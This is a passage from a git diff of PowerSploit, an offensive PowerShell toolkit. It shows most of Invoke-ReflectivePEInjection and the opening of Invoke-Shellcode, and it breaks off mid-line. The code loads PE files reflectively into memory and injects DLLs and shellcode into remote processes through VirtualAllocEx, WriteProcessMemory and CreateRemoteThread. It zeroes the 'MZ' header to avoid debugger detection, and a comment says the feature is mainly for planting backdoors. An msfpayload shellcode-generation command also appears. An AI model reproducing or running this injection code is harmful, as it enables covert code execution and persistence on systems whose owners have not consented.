($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position = 3)] + [Bool] + $ForceASLR = $false + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + #ASLR check + [IntPtr]$LoadAddr = [IntPtr]::Zero + $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + if ((-not $ForceASLR) -and (-not $PESupportsASLR)) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + elseif ($ForceASLR -and (-not $PESupportsASLR)) + { + Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + } + + if ($ForceASLR -and $RemoteLoading) + { + Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + } + if ($RemoteLoading -and (-not $PESupportsASLR)) + { + Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process or if it is an EXE. + #Note that all DLL's loaded by the EXE will remain loaded in memory. + if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Delete the PE file from memory. + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + if (-not $DoNotZeroMZ) { + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + } + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName + } } Main diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 2879558..1e889f6 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -5,22 +5,22 @@ function Invoke-Shellcode Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. -PowerSploit Function: Invoke-Shellcode -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): -msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. - + .PARAMETER ProcessID Process ID of the process you want to inject shellcode into. @@ -35,7 +35,7 @@ Injects shellcode without prompting for confirmation. By default, Invoke-Shellco .EXAMPLE -C:\PS> Invoke-Shellcode -ProcessId 4274 +Invoke-Shellcode -ProcessId 4274 Description ----------- @@ -43,7 +43,7 @@ Inject shellcode into process ID 4274. .EXAMPLE -C:\PS> Invoke-Shellcode +Invoke-Shellcode Description ----------- @@ -51,27 +51,32 @@ Inject shellcode into the running instance of PowerShell. .EXAMPLE -C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - +Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + Description ----------- Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! #> -[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( - [ValidateNotNullOrEmpty()] - [UInt16] - $ProcessID, - - [Parameter( ParameterSetName = 'RunLocal' )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode, - - [Switch] - $Force = $False -) + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')] + Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Switch] + $Force = $False + ) Set-StrictMode -Version 2.0 @@ -81,17 +86,17 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null } - + function Local:Get-DelegateType { Param ( [OutputType([Type])] - + [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), - + [Parameter( Position = 1 )] [Type] $ReturnType = [Void] @@ -106,7 +111,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - + Write-Output $TypeBuilder.CreateType() } @@ -115,11 +120,11 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Param ( [OutputType([IntPtr])] - + [Parameter( Position = 0, Mandatory = $True )] [String] $Module, - + [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure @@ -136,7 +141,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } @@ -151,12 +156,12 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $LittleEndianByteArray = New-Object Byte[](0) $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } [System.Array]::Reverse($LittleEndianByteArray) - + Write-Output $LittleEndianByteArray } - + $CallStub = New-Object Byte[](0) - + if ($IntSizePtr -eq 8) { [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode @@ -177,7 +182,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $CallStub += 